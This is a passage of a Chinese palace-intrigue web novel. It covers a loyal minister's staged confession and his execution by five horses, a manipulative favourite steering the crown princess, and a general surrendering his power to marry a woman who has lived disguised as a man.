“云将军是个简单直爽的性子,若说他叛乱,有谋反之心,只怕满朝文武都不会信,难以服众。不如查一查他身边亲近交好之人,臣觉得,云将军这次很有可能是替人遭罪呢!”
南璃君思量片刻,也觉有理。
以她这些年对云琛的了解,看着云琛一步步从护卫踏实做到少将,她这次也很意外,云琛竟是那入宫叛贼。
比起云琛,她甚至觉得霍乾念更像有谋逆之心。
知罗脑中快速盘桓思索,建议道:
“殿下,您忘了,此次骊山道考验之局,一则考量百官忠诚,二则还有很重要的一点,是要借京军调离之际除掉倪鲲呀!不如就将倪鲲推为幕后主使,说是倪鲲构陷云将军,这样一来。我们动手反而更有名目了。”
南璃君有些犹豫,“云琛此人武功卓越,聪慧机敏,如此轻易放过,会不会放虎归山了?”
“怕什么?猛虎亦可为己用。”知罗刚想开口,却见颜十九说着话,从偏殿走出来,“只要拴老虎的锁链在你手中,还怕老虎归山?”
颜十九此时已卸去铠甲,换好常服,一脸玩世不恭地笑道:
“依我所见,不如就将知罗赐给云将军?有知罗大人管着,云将军还不乖乖听话,尽为我们所用?”
说罢,他上前搂住南璃君的腰。
见此情景,知罗按捺住欣喜之色,乖觉退下。
颜十九将南璃君拥进怀里,语气嗔怪又庆幸,继续道:
“你呀,有这样厉害的大盘算,为何不早点同我说?叫我好生担心一场!半条命都吓没了!”
南璃君倒没有真把颜十九那几句赐婚的玩笑话放在心上。
她满心满眼都是颜十九,亲昵地回抱住他,面露小小得意道:
“既然是考验,就连你一起算上。让我好好瞧瞧你到底有多爱我?”
颜十九深深抱住南璃君,倾身吻住她的唇,辗转流连许久。
直到她的身子不自觉发软,他才停下这个浓情蜜意的吻,在她耳边微微喘息着问:
“那现在你知道了吗?”
南璃君几乎没有力气靠自己站着,整个人柔若无骨依偎在颜十九怀里,绝色倾城的脸上染着艳丽的潮红。
她想打趣他跑到骊山道的时候,铠甲都穿反了,样子十分好笑,开口却不自觉带着哽咽:
“我知道了,这世上唯有你最爱我……”
说着,南璃君鼻头一酸,眼中涌上点点泪花,“父皇最爱母后,而后才是我。母后最爱她自己,所以狠心抛下我而去。这皇宫内外,人人都敬我,怕我,却没有一个人真的爱我……”
“我都懂。好阿璃,不哭。”颜十九轻轻吻去她眼角的泪水。
他当然懂。
这种孤独到极致、冷到骨子里的感觉,他比这世上任何一个人都懂。
所以他特别知道怎样才能拿捏住南璃君的心。
而对于南璃君来说,她只怕一辈子都无法忘记,昨夜颜十九那披星戴月、孤身纵马朝她奔赴而来的样子。
那时,所有通令官已领着任务退下,祈福大殿陷入令人不安的宁静。
有那么一瞬间,南璃君心里格外发慌。
她盼着这一场考验,又怕面对这考验的结果。
她怕一切真如霍乾念所说,颜十九包藏祸心,接近她只为图谋楠国江山。
幸而,她的爱人没有辜负她。
正当她惴惴不安时,有宫人望向黑暗的远方,惊喜叫道:
“好像有人来了!已经有人收到消息来救殿下啦!”
“快看看是谁?竟然这么快第一个赶来?”
“好像是颜公子!”
“真的是颜公子!”
宫人们兴奋起来,准备迎接第一位不顾性命前来救援的大忠臣。
南璃君也不自觉站起身,紧张地望着远方。
哒哒的马蹄声从远处而来,响彻空旷的祈福大殿,也令她的心怦怦直跳。
很快,她看见颜十九飞马踏流星,冲破黑夜,朝她无畏奔来。
星与月照耀着他年轻俊朗的面容。
他高扬长枪,寒锋投射在他焦急又心痛的眼中。
他眼角微红,像是强忍着不落泪。
在看到她安然无恙的一瞬间,他瞬间如释重负,笑中带泪,傻笑地望着她。
那一刻,南璃君知道,眼前这男人,就是她此生唯一挚爱。
她生要与他一起,死亦与他相依。
越想心越颤动,南璃君忍不住开始小声啜泣。
颜十九将她抱在怀里,一遍遍柔声哄着:
“好阿璃,不哭。”
……
……
两个时辰春宵过去,亲眼看着南璃君陷入睡熟后,颜十九用脚踢开地上南璃君散落的衣裙,将他自己的衣袍拾起来穿上。
他面无表情地走出殿门,居高临下地看着角落里等待已久的知罗。
知罗本想先谢一谢颜十九提出为她与云琛赐婚之事,却见颜十九携裹着一身前所未有的阴冷和压迫,朝她缓缓走来。
从来见颜十九,都是在南璃君面前嬉皮笑脸、没个正形的样子,知罗还是第一次见他露出这种冰冷的神态。
不知为何,知罗突然觉得,也许这才是褪去笑容面具,真实的那个的他。
颜十九从眼睛下方冷冷看着知罗,眼神像两道漆黑的钉子一般。
“这么好的一出骊山道大戏给了你,你却用得这么烂,看来是我高看你了。”
知罗不自觉回避颜十九的眼神,“对不住,我没想到霍乾念会突然昏迷。范吉安不认得霍乾念,错将云琛当成他了。我会处理好范吉安。”
颜十九眼底泛起不耐的冷霜,像一条用力才能忍着不露出獠牙的毒蛇。
“万宸,你知道的,我不打女人。”
话音落下,一道暗卫黑影瞬间出现在知罗眼前,“啪”的一声,一个重重的耳光落在她脸上,打得她错愕不已,整个人跌倒在地上。
万宸是习武之人,一巴掌下去,比一般人要重许多。
知罗被打得脑袋发晕,腮帮子立刻肿起来,嘴里溢出丝丝腥甜。
颜十九阴沉开口:
“若再有下次,再误伤云琛,我便送你去给阎王爷当女官。这尚仪局一百四十三个女官,我既捧得了你,自然也捧得了别人。”
知罗捂着脸缓缓起身,没有站起,只是跪在地上垂着头,低声应道:
“是。”
此时此刻,她心里已无比清楚,颜十九根本是一只披着羊皮的恶狼。
或者说,是装成笑眯眯宠物的一条吞噬巨蟒。
这根本不是她可以惹得起的人。
她萌生退出阴谋并远离颜十九的念头。
颜十九却像是完全洞察她的想法,忽又换上一副极其亲和的笑脸,但眼底却仍是阴冷的。
他掏出知罗怀里的帕子,轻轻帮她擦拭嘴角的血,疼惜道:
“听话,你离云琛只差一步了,要现在放弃吗?殿下早晚都会为笼络而许配女官给云琛,怎么,你希望那个人不是你吗?”
知罗心中动摇,却没有说话。
她抬眼看向颜十九,正望进一双无底深渊。
没任何理由的,知罗突然有一种感觉。
她觉得自己好像离云琛越来越远了。
仿佛这辈子也无法靠近了。
第291章 理当处死
酉时将近,天色早早阴沉下来,像是在酝酿一场冷雨。
秋风一阵一阵灌进衣袍,冷得人通体冰凉。
丞相府中,倪鲲慢慢走到铜镜前,仔细地抚平衣袖,端正衣冠。
他笑道:“小妮子,托你的福,让我多活了半个月,多吃了好些饭。现在老朽去换你吧!”
话说完,周围没有人应声。
屋子内外空空荡荡,所有家仆和护卫早已被遣散。
只有窗前的犀梅树在静静聆听,那含苞欲放的枝桠,被秋风吹得呜呜作响,像是在以哭泣回应。
倪鲲走出屋子,关好屋门。
走出院子,又继续关上院门。
就这么一道道走出去,一道道将所有门扇关严,直到身后再无任何退路。
他没有像往常一样坐马车,诚然,车夫已经领银子告老还乡了,也没人给他驾车。
他揣着手,慢慢向皇宫走去。
这条来来往往过五千多次的路,他还是第一次用自己的脚去丈量。
经过小路口的时候,见那个经常在路口乞讨的小乞丐不在,倪鲲便等了一会儿。
不多时,小乞丐来了,像往常一样用脚扫扫地上的土,然后席地而坐,将一个草碗和一大摞芦苇叶摆在面前。
和别的乞丐成天躺在地上要饭不同,小乞丐每天都会去拔一筐新鲜芦苇,手指灵巧地编出各种小兔子、小老虎、果篮子……
只要有人施舍钱财或食物,就可以得到一个散发着芦苇清香的小玩意。
倪鲲上下朝时,经常能看见这个小乞丐。
他将钱袋子解下来,将银子全部放在小乞丐的草碗里。
一共是五两二钱一文。
第一次收到这么多银子,小乞丐十分惶恐,赶紧站起来朝倪鲲行礼。
“多谢大人,谢大人施舍。”
倪鲲满足地叹口气,笑道:
“是我多谢你。我这小心愿终于了了。”
长久以来,为了稳妥地立稳大奸臣的形象,倪鲲从不敢露出一丁点“善”的马脚。
无数次路过小乞丐时,他都忍着没有施舍。
如今心愿已了,倪鲲浑身轻松,准备离去。
那小乞丐却有点急了:
“大人能否稍等,我刚来,还没来得及编芦苇,您要是不急的话,我编个寿星公给您,一盏茶的功夫就好!”
倪鲲打量身上一览无遗的官服,没有口袋可以装东西,笑道:
“你的心意我领了,不必了。”
说罢,倪鲲转身离去,任凭小乞丐在身后叫着“大人!那我在这里等您!等您回来时取!”他只笑着摆摆手。
望着倪鲲逍遥自在而去的身影,小乞丐也忍不住笑起来,喃喃道:
“瞧这位大人的神采,像是要成仙去了!”
小乞丐重新坐回地上,从芦苇叶堆里挑出最大最好看的叶子,开始认真仔细地编寿星公。
穿过宫门,倪鲲一路朝东宫而去。
前来赴宴的官员已来了不少,都在偏殿等候。
所有人都用一种审视打量的眼神看着倪鲲。
这场骊山道救驾的考验,有忠,有奸,还有像倪鲲这样从头到尾没有出现过、袖手旁观的小人。
当了这许多年扶持玉家的恶人,倪鲲早已习惯这种目光,因而敏锐地从中察觉到一个不一样的眼神。
他抬头看去,果然是云望。
云望如今已位居御史大夫,因满腹经纶,为人处事正直勤谨,又立场在东宫社稷,而为满朝文武赞许。
将一人之下万人之上的丞相位交到云望手里,倪鲲很安心。
他朝云望所在的人群笑笑,独自走向东宫殿。
候了一会儿,南璃君穿着一身金光璀璨的明黄裙走出来。
衣裙华丽贵重,与当年帝后共治天下时,皇后穿的龙袍裙比起来,已只差将四爪龙改成五爪龙。
倪鲲跪地行礼,南璃君由知罗扶着,慢悠悠走向高座。
忽然,一声闷重的雷声传来,恰好压过南璃君那气势十足的一声“免礼”。
没办法,南璃君只能有点尴尬地清清嗓子,又说
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了声“免礼”。
倪鲲谢恩,开口第一句,就叫南璃君惊讶不已:
“殿下,老臣有罪。殿下被困骊山道,老臣诓骗云琛将军入宫取兵符,意图谋逆。请殿下赐死老臣。”
倪鲲说得无比郑重,叫南璃君事先准备好的一肚子诬陷说辞,都派不上用场了。
第一次见自己诬陷自己的,而且还是大奸臣良心发现主动自首?
南璃君有点发懵,竟说了句:
“要不,叫云琛来问问,也许有误会?”
倪鲲揣着袖子而立,笑道:“不必了。”
两人都觉得好像没必要再假装客套。
求的不就是个“倪鲲死”的结果吗?
但见倪鲲突然这样好说话,南璃君怀疑其中有诈,沉下心来,问道:
“还有别的吗?”
“有。”倪鲲道:“老臣请求殿下一并赐死宋禄伯爵、中书上卿王廉、掌院学士司马遥。”
南璃君惊愣:“他们有何罪?”
倪鲲道:“殿下被困骊山道,文武百官忠心耿耿,皆往骊山道而去。除去云琛将军被我诓骗入宫,其余只有这三人袖手旁观,没有去骊山道救驾,用心险恶,显而易见。
宋禄伯爵,年逾六旬,有膝痛之苦。家中只有宋禄夫妇和五个女儿,没有男丁。殿下遇险的消息传来时,宋禄家五小姐宋俏俏自请替父从险,驾马驰往骊山道,宋禄竟然不去,实为大不敬!
中书上卿王廉,为官二十载,竟无私产和存银,清贫到家中连护卫都没有,事发之时,竟连一匹马都拿不出来,又逢全城**,无处买马,只能徒步赶往骊山道,一路奔走痛哭,误了救驾时辰,实在该死!
掌院学士司马遥更不必说,家中独子年幼,只有八岁,他令幼子赶往骊山道,自己却在家中写什么国史大纲,还对旁人说,‘东宫危矣!朝廷危矣!楠国危矣!若楠国崩亡,青史可永存!后人复国仍有望!’此等绝望之言,实在妖言惑众!
殿下,这三人之罪,应当处死!”
第292章 神柱
听倪鲲说要处死宋禄伯爵、中书上卿王廉和掌院学士司马遥,南璃君冷笑:
“哼,倪鲲,本殿就知道你没安什么好心,这三人没有前往骊山道救驾,我原本是想重惩他们的。可你竟劝本殿将三人赐死?你当我南璃君是什么昏庸之辈?为这事赐死三个朝臣,你想让天下人都骂本殿是不是?!”
倪鲲但笑不语,南璃君更加笃定自己猜测,大约是倪鲲已知道自己死罪难逃,便想最后再拉几人垫背。
“倪鲲,本殿不仅不会惩处宋禄三人,还要提拔你最讨厌的云望。你不是说云望才华高绝于你,恃才放旷吗?可他对本殿却恭敬得很,本殿必重用他!”
从来都是如此。
只要是“大奸臣”倪鲲支持的,南璃君便反对;只要是倪鲲反对的,南璃君一定支持。能借此保住三位忠直同僚的性命,倪鲲很满足。
“还有一个人,你忘记了,他也没有去骊山道救驾。”南璃君语调戏谑,带着试探地问:
“他府上来人告罪,说他突发急病,昏迷在榻。”
对于骊山道救驾时霍乾念的缺席,南璃君十分介怀,晌午已派庄姬前去查证,说是霍府守卫森严,霍乾念确实昏迷未醒。
沉吟些许,倪鲲道:
“霍乾念此人凡胎神骨,殿下可重用之。如若不能重用,请殿下杀了他。”
南璃君脸上闪过惊诧。
她不太明白倪鲲的意思,一会儿叫她重用霍乾念,一会儿怎么又叫她杀了霍乾念。
在她看来,倪鲲明知她在试探,却偏偏给出一个模棱两可的毫无意义的答案。
南璃君垂眸冷笑看着倪鲲:
“不愧是丞相,惯会巧言令色,摆弄人心。你多年来勾结玉家之流,祸乱朝纲。不知你耍了什么手段逃过玄都宫变。但倪鲲,你的好日子已经到头了!既然你自请赐死,本殿一定成全你!”
倪鲲轻撩官袍,庄重跪地叩首,坦然道:
“老臣谢殿下恩典。祝殿下江山永固,万岁安康。”
“轰隆”又一声闷雷,秋末最后一场雨,终于来了。
倪鲲再次向南璃君叩首,道:
“殿下,人之将死,其言也善。老臣虽作恶多端,却有几句话想最后说与殿下听。殿下即将荣登皇位,可知治国理政,最重要一点便是‘制衡’。
自古以来,历朝历代都有贪官、佞臣、忠臣。作为百姓,自然希望天下都是忠良。可作为君王,却万万不可拘于一匣。忠臣要有,奸臣也不可能绝,这是阴阳制衡,互为共生。
若奸臣多,则国危,可若满朝忠良,您这皇位就难坐了。忠良之臣对于一个明君的渴望和要求,往往超过一个奸臣。
此臣若贪,便给他钱财,他吸附着皇权得利,自然盼望皇权不倒,他便能永久富贵;但此臣若忠,他便会盼着您如同神明贤德、智慧、勤谨、严明……您若做不到,他们便很容易失望,很难容下您的微瑕。
故而,忠奸并存,您只要做好掌控和制衡即可,万不能失衡,也万万不能脱离您的掌控。君王不是忠臣之主或奸臣之主。君王乃天下之主。”
沉默许久,南璃君不知是不是错觉,她竟从倪鲲的话语里,听出一种悲壮的赤诚。
“倪鲲,早知今日,何必当初。”南璃君说。在她看来,倪鲲不过自作孽。
倪鲲望向殿外阴沉如盖的黑云,像是回忆起许多往事。
那时候的他还年轻,有幸遇到那位千年难遇的绝世女君——皇后娘娘。只可惜天妒英才,早早带走英华。
他便将所有岁月和年华奉献给楠国,将清誉抛之脑后,不顾如何遗臭万年。
现在,他要将生命献给她唯一血脉的王座。
“臣,此生不悔。”
南璃君嗤笑,“这话好生厉害,听着跟你是忠臣,我是昏君似的。”
倪鲲并不接这讽刺,“只要殿下知人善任,定能成为
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如先皇和皇后娘娘一样的明君,楠国代代昌盛不衰,**江山可以永继。”
不知哪句话戳到了南璃君的痛处,她皱眉不悦:
"哪条律法规定,本殿必须成为和父皇或者母后一样的君主?”
这句话让倪鲲愣住,下意识问:“先皇霸业远绩,威震天下,皇后娘娘神武无双,是世间罕有之……”
“够了!”南璃君大喝一声,打断倪鲲的话。
像是压抑多年的怨气突然决堤,南璃君厌恶道:
“‘先皇’‘皇后娘娘’?!你们从来不是我的臣!我若做得好,你们便会说‘应当的,这是先皇与皇后娘娘的血脉,理当如此’;我若做得不好,你们便要唉声叹气!怪我辱没了‘先皇与皇后娘娘’的英明!!
我从小就活在‘皇后娘娘’的阴影里!人人都说她有多么风华绝代!多么英武!她的辉煌全成了束缚我的枷锁!
不管我怎么努力学着她的样子!父皇的样子!都不可能超过他们!!我怎么做你们都不会满意!你们永远高高在上有说辞!
听说你也是母后当年重用提拔的人,结果呢?母后看走眼了!用了个大奸大恶的败类!说明她也没有多英明嘛!所以我偏不要做‘先皇和皇后娘娘’那样的君主!我偏要和他们不一样!”
倪鲲目瞪口呆。
他完全没想到,在众人苦苦修缮着支撑天与地的神柱时,南璃君却只关心,若推倒这神柱,世界会不会更宏大有趣。
他连连摇头叹息:
“殿下只需站在前人英明之上发扬光大,不该拿国运冒险逞强,岂不是给奸佞宵小创造阿谀谄媚之机。殿下三思!走得最爽快的路!永远是下坡路啊!”
南璃君终于爆发怒火,将手边能抓到的一切朝倪鲲狠狠扔去,怒道:
“闭嘴!闭嘴!!既然你什么都觉得先皇和皇后娘娘好!那本殿今日就送你去见他们!去地下为他们效忠!!”
第293章 审判之时
酉时,秋末最后一场雨淅淅沥沥而至,拉开惨淡的审判序章。
百官都在永安大殿内等候宫宴,等着配合南璃君圆满结束这场荒唐闹剧。
在南璃君愠怒的脸色中,女官知罗上前宣读东宫令。
细数倪鲲十二大罪状,奸佞之罪十八条,贪诈之罪三十条,祸乱之罪无数。
从倪鲲与玉家之流勾结开始,一直到诓骗云琛入宫盗兵符。
整整十几张纸,念了足足半个时辰。
众人惊愕之余,却没人敢站出来求情。
所有人都知道会有这么一天。
也多少知道倪鲲无罪也是有罪的真相。
那满纸荒唐的东宫令,只是南璃君已迫不及待要坐上皇位,那急切的怒火将烧尽一切胆敢阻碍者。
谁敢开口为倪鲲求情,谁就有可能是第二个倪鲲。
也许这又是一场“考验”呢。
云望站在文官座席之首,面容温和,波澜不惊地听着倪鲲“罄竹难书”的为官一生。
每一个字都像针一样扎在他的心上。
东宫令宣罢,南璃君扫视全场,严厉发问:
“众卿以为,倪鲲之罪,该当如何?”
如何?死是肯定的。
瞧南璃君这意思,是希望酷刑处死倪鲲?
百官面面相觑,揣测不出君心,只能大着胆子提议:
“倪鲲罪恶,应斩首示众。”
“倪鲲一生未婚娶,没有子嗣,多年前已自请除名族谱,故而无法株连。应凌迟处死。”
“应游街示众。”
南璃君冷笑一声,所有人立刻噤声,没有人敢再开口。
显然所有人的答案她都不满意,仍不足以平息她的怒火。
一直旁听着众人提议如何弄死自己的倪鲲,从头到尾连眉头都没有皱一下,只是淡淡地站在那里,目光坦然而平静。
不知是不是年纪太大,久站太累的缘故,倪鲲突然长长叹息一声,悠悠朝天道了句:
“不法古,不修今呐——”
云望顿时浑身一僵,后背绷得笔直。
他几乎要找不到自己的声音,像是用尽全身力气才能调动舌头,嗓音掩着微不可察的颤抖:
“倪鲲罪大恶极,臣建议,当……五马分尸都不为过……”
“好!”南璃君终于欣喜展颜。
一刻钟后。
永安殿前的广场上,拉起五条水蛇粗的麻绳。
一端栓在倪鲲的头发和四肢上,另一端栓在五匹烈马上,五个禁军从旁牵着马。
倪鲲的身体腾在半空,成“大”字形朝天,官袍已被褪去,只剩一身旧得发黄的粗布麻衣。
他的衣袖上有两个小小的破洞,秋风从里面灌进去,扯得麻衣瑟瑟发抖。
雨越下越大,百官站在永安大殿的屋檐下观刑,官衣也都被冷风冷雨打湿。
云望死死盯着空中虚无,紧紧抿住苍白的嘴唇,不敢叫任何人看出端倪。
“行刑——”
随着一声令下,禁军狠狠抽动马匹,惊得烈马猛地向前蹿出。
麻绳瞬间紧绷,将倪鲲的头和四肢紧紧拉扯。
云望猛地闭上眼睛,不敢再看,只觉肝肠都痛得颤抖起来。
只是原本应该眨眼就结束的酷刑,却因雨太大,地面积水,马蹄打滑,而没能一次要了倪鲲的性命。
禁军使劲抽马,马儿再次拉扯躯体,终于令倪鲲痛苦地哀嚎出声。
就这么反复拉扯了两三次,倪鲲才终于五体分离,只剩一地的血腥尸块,浸泡在雨里。
没有人为这场大戏的落幕鼓掌庆贺。
所有人看着倪鲲,仿佛
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看着明天的自己。
冰冷的雨水打在云望的脸上,从他的眼眶钻进去,狠狠扎进他的骨头里。
到后来,云望已记不清,他是怎么样笑容僵硬地参加完宴席,怎么听着东宫升任他为丞相,百官纷纷向他敬酒道贺的。
他只记得永安殿里好冷,风和雨不停地吹进来,满殿都是冰凉。
直到天黑,宫宴散去,大雨已将广场洗刷得干干净净,不见一点痕迹。
望着恢复如初、仿佛什么都没有发生过一样的广场,云望觉得好不真实,不觉呆了片刻。
那个常为云望添梅子汤的小太监怀安走过来,送上披风和雨伞,笑道:
“马车已备好,丞相大人请慢走。”
云望愣了一下才反应过来,怀安说的“丞相”是他。
客气地道过谢,云望坐上马车离去。
转过小路口时,他瞧见一个可怜的小乞丐冒雨站在窄窄的屋檐下,怀里抱着一个芦苇叶编织的寿星公,像是在等什么人。
不忍见此可怜人,云望叫马车停下,将伞留给那小乞丐。
小乞丐感激地连连道谢,将伞撑起来,继续在雨中等待。
云望随即离开,同往常一样回府,下车,抱抱云莲城,甚至走路的步伐都迈得和平时一样。
他对妻子朱氏说不太饿,不必备晚饭,而后独自走进书房。
他愣愣地坐在书桌前,不停对自己说:
一切都值得的……吧……
为了这国,这君主……值得的吧……
忽然,冷风撞开窗子,大雨疯狂地吹进来。
他赶紧将书桌上的公文和信函收起,目光却落在那方端正漂亮的松烟墨上。
颤抖着将墨抓起,慢慢靠向心口,他扶着书桌佝偻起身子,终于撕心裂肺地放声大哭。
第294章 赐婚
霍乾念在榻上躺了三天。
三天而已,等他醒来的时候,屋外黑云压城,暴雨如注,已全都变了天。
骊山道辨忠奸的考验“圆满”落幕,倪鲲被五马分尸,云琛被关进天牢。
他躺在榻上听了三天的“荒诞大戏”,有时甚至都分不清是现实,还是他在做一场恐怖又黑暗的梦。
空荡的屋子告诉他,云琛不在,已三天没有回来,一切都是真的。
他从榻上坐起身,拉过一件样式简单至极的长袍穿上。
叶峮几人听到动静跑进来,见霍乾念苏醒,甚至气色瞧着比从前更红润,几人简直喜极而泣。
三天而已,漫长难熬得像三年一样。
叶峮如释重负道:
“少主,你终于醒了,我管不住花绝了,他要拉着不言去劫天牢!”
霍乾念抬眼看了眼花绝,后者一身铠甲,身上挎着好几种兵器。
一旁的不言因为身形太瘦削,还没找到合适的铠甲,但已把战靴穿上了。
花绝抹了把眼泪,“阿琛被关在天牢里!眼见就要入冬,那牢里冷冰冰的,肯定连床薄被都没有,苏家又与阿琛有旧仇,肯定要借机报复阿琛!我们难道不去?眼睁睁看着阿琛被诬陷谋反??”
不言叹气,“阿琛是我们所有人的兄弟,谁舍得放他在牢里受罪不管?但天牢是咱们随便能劫的吗?”他说着安慰地拍拍花绝的肩膀:
“没事,现在少主醒了,一定没事的。”
“我知道。”花绝点点头,擦干眼泪,问霍乾念:
“少主现在就进宫吗?我给你拿铠甲!”
霍乾念摇头:“不用。”
“那给您穿官服。”
“不用。”
霍乾念什么都没带,只一身素衣干净利落,披上雨披,独自骑上屠狼驹。
花绝有点着急,想把隐月剑拿给霍乾念,“少主,眼下可不是平常时候,剑得拿!”
霍乾念依然说“不用”,只往身上装了三样东西。
一枚霍帮堂口的最高令牌,一块狮威军的兵符,还有那象征着侯爷位的品级冠。
叶峮和不言将花绝拦下来,后者只得作罢,目送着霍乾念一人一马渐渐远去。
……
……
霍乾念一路进宫,见到宫人们冒着大雨收拾残宴,人人都在谈论着东宫即将登基为皇的话题。
据说绣房的龙袍三天前就绣好了,登基大典的一切典仪也都已早早备下。
屠狼驹的马蹄踏过广场的石板,一个时辰之前,一代忠臣倪鲲在此含冤,甘愿**。
霍乾念将马停下来,垂首默哀片刻。
走到东宫殿,隔着老远就听见里面一片欢声笑语,知罗等几个女官正在陪南璃君试穿龙袍。
一道登基圣旨展在桌子上,那是先皇托付给倪鲲的第三道秘旨。
本该十年后才问世,如今早早被拿出来见人,墨色都还是簇新的。
在众人穷尽其词的夸赞中,南璃君穿着华美的龙袍飘飘欲仙,倾城绝艳的面庞容光焕发,倒真有两分上位者的气势。
颜十九从旁看着南璃君。
每当南璃君看向他的时候,他都会像一个完美的情人那样,毫不吝啬他的恭维和赞美。
而在南璃君和女官们没有注意到的时候,他的笑容会不自觉地消失,眼神溢出嘲弄之色。
像是看着猎物主动走进陷阱的猎人,他饶有兴趣地看着南璃君。
他知道,很快,南璃君就会将这个丰盛的王国,整个送进他的怀中。
霍乾念将一切尽收眼底。
只是如今,什么都已不能撼动他的决心。
注意到霍乾念的身影,颜十九敛正神色,笑道:
“哟,霍侯爷来了。”
南璃君挥手示意所有女官退下,却没有让颜十九离开。
如今已没有任何管束,她将是楠国的皇帝,理应享受这世上的一切而不被指责,包括她的爱人。
从今天起,她没必要再将颜十九藏着掖着。
颜十九却很知趣地起身朝外走,笑道:
“后宫不得干政,我还是退下吧!”
南璃君被他这句话逗笑,见霍乾念没有笑,她又下意识收起笑容,佯装咳嗽,叫霍乾念上前说话。
待殿内只剩南璃君的时候,霍乾念撩起被雨水淋湿、有些沉重的衣袍。
他缓缓跪下,从怀里掏出那三样东西,一一摆在南璃君面前:
“这是霍帮的最高令牌,臣将这令牌和一半的霍帮堂口送给殿下,提前恭祝您登基,祝陛下万岁永安。”
南璃君惊讶地睁大眼睛,就听霍乾念又指着另外两件东西道:
“这是狮威军的兵符,黑鳞骑兵虽未除,但如今东南无战,臣将三十万兵权交还殿下,以表臣绝无二心。还有这侯冠,臣请殿下收回封侯之命,臣愿意做个只与铜钱打交道的臭商贾,有点小财即可,权力一概交还。”
南璃君震惊到说不出话来。
她从来没有见过霍乾念这般做小伏低的样子,哪里像赫赫有名的狮威将军,简直像极了一只捋顺**的猫儿。
不等南璃君发问,霍乾念恭敬俯身,轻轻叩首,而后直起身子,直视着南璃君,一字一句道:
“殿下,臣别无所求,唯有云琛。”
这一切太过重大又突然,南璃君半天才从震撼中回神,既惊异又不解:
“为了云琛,你甘愿放弃现在的一切?一半的霍帮堂口也给我?虽然倪鲲说,是他诓骗云琛入宫盗兵符的,但你我都清楚这话真假,云琛到底难逃牵连之罪,我不能随便放了他。”
她其实已听了颜十九的建议,准备放了云琛。
但这个决定,她还没有告诉其他任何人。
她倒要看看,霍乾念究竟能用什么令人绝对无法拒绝的理由,替云琛开脱。
这时,霍乾念面容平静,语调缓缓如暮鼓:
“云琛不会、也不可能图谋您的江山。云琛是女子,不信您可以亲验。”
“你、你说什么?!”南璃君目瞪口呆,惊讶得嘴巴都合不拢:
“女子??女扮男装的女子??”
霍乾念没有再说话。
南璃君像是陷入往昔回忆,懊恼她怎么一直没看出云琛的身份。
想了半天,她仍旧一脸不可思议,连连摇头自语:
“难怪,难怪……”
难怪不论她许哪个女官给霍乾念,他都不想娶,也不许云琛娶菘蓝。
难怪,他可以不在意全楠国的人议论他如何龙阳之好。
难怪,先皇临死之前最后想见的只有云琛。
曹放,孟剑云,倪鲲,所有侍奉过皇后娘娘的老臣,都对云琛亲睐有加。<
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br>这世上竟真有女扮男装。
一个女人竟真的可以攀越到无数男子仰望不到的顶峰。
一股浓烈的酸意袭上南璃君的心头,她的语调也不自觉带着阴阳怪气:
“好厉害的霍将军和云将军呀,将本殿耍的团团转。我若治你们欺瞒之罪,只怕天下人都要骂我枉杀功勋。云琛,很好,女扮男装得很成功,她将这天下女子都踩在脚下了,谁都不如她,是吧?”
对于南璃君的讥讽,霍乾念没有一丝意外,他诚恳道:
“云琛确是天下少有的女子。但不管她爬得多高,强过多少人,她都在您的脚下,微臣也在您的脚下。”
听了这话,南璃君心里爽快多了。
比起那些平日里习惯对她小心奉承的大臣,她更喜欢看见雄狮低头。
霍乾念这一退再退的恭顺模样,真真让她觉得舒坦。
但紧接着,南璃君神色微沉,透出怀疑和试探:
“云琛。该不会是你们去借马的幽州云氏吧?”
霍乾念没有回答,南璃君立马表情一变。
她没想到云琛竟出身如此显赫。
“竟然是幽州云氏?呵呵,不光是十万战马,还有才被本殿任命为丞相的云望。好啊,真好啊,本殿稍微一个不注意,你们便悄悄抱成一团,铺作一张大网了呀!”
到这里,南璃君终于明白了,也不再对霍乾念突然交出三样象征权力与财富的信物而感到震惊。
如果只是因为云琛牵连谋反被抓,那霍乾念轻轻动动手指,便可以将云琛救出来。
眼下这一切,是在换他与云琛的未来。
甚至还想以他们退出朝堂为代价,保云望一个前途无量。
南璃君想明白这一切,愈发觉得自己像个被人愚弄的小丑,那去幽州借马的命令还是她自己下的!
她不禁嘲讽道:
“你该不会还想求个赐婚吧?希望本殿不计前嫌,完全不追究你们欺君之罪,给你和云琛一个赐婚??”
霍乾念再次叩首,恳切道:
“殿下,云琛自小离开云家,与幽州云氏多年隔阂,陌生非常,绝无仰仗门第之意。云望有冠绝数十万门生的青云直意之才,不管他出身哪里,他都是这天下绝无仅有的丞相之能。”
他将语调放的愈加谦卑:
“臣有罪,为情所困,优柔寡断,蠢到造成如今令人误会的局面,才敢对殿下剖白。请殿下看在既往,饶恕臣欺瞒之罪。臣要迎娶云琛。”
霍乾念口中的“既往”,是指霍帮以巨大代价铲除玉家,并扶持南璃君上位的既往,还有征战沙场屡立功勋的既往。
这些都是压得南璃君不得不应的“既往”。
瞧霍乾念这不顾一切的样子,只怕根本没想要讨个赐婚圣旨,不管抢也好,骗也罢,他都一定要娶云琛。
就算南璃君有意磨挫,只许云琛做侍妾,而赐给他一位出身更加高贵的正妻,怕也只会被霍乾念请回去,当个漂亮花瓶一样供着,云琛仍旧是霍府不可动摇的女主人。
心里突然冒出一个绝妙恶毒、也绝妙有趣的点子,南璃君将那枚霍帮最高令牌拿起来把玩,故作惋惜道:
“哎呀,既如此,本殿怎能不成全你。看在两位将军为国出生入死的功绩上,本殿愿意亲自为你们赐婚。”
第295章 云琛是女子
霍乾念走出东宫殿,站在秋末这场倾盆冷雨中。
他仰头望着天,眼眶微红,唇角却高高扬起,像个身负重伤的英雄,虽败犹荣。
当南璃君答应会为他和云琛赐婚的那一刻,他觉得什么都值了。
霍帮令牌如何,兵符如何,侯冠又如何?
有什么是比云琛还重要的吗?
用了整整三天时间,他做出了这辈子最正确的选择。
心里实在太激动,只有冰冷的雨水能稍稍缓解灼热。
他尽情地站在雨里,直到浑身都湿透。
忽而,一顶大伞出现在他头顶上方,打断了他沉浸式淋雨的痛快。
颜十九撑着伞,似笑非笑:
“怎么,不想玩了?累了?”
霍乾念鼻子里鄙夷轻哼:
“我不玩这么低端的局。”
两个聪明人之间,说话就是要轻松得多。
“哈哈......”颜十九笑出声,却是少有的发自内心的笑,有点可惜道:
“霍乾念,我真的挺欣赏你的,你是个很厉害的输家。”
这世上赢家不少,能及时止损、全身而退的输家却不多。
站在当权者的角度去看,颜十九真的很喜欢霍乾念这种绝顶聪明的人。
倪鲲怎么说他来着?
凡胎神骨,当真不是虚言。
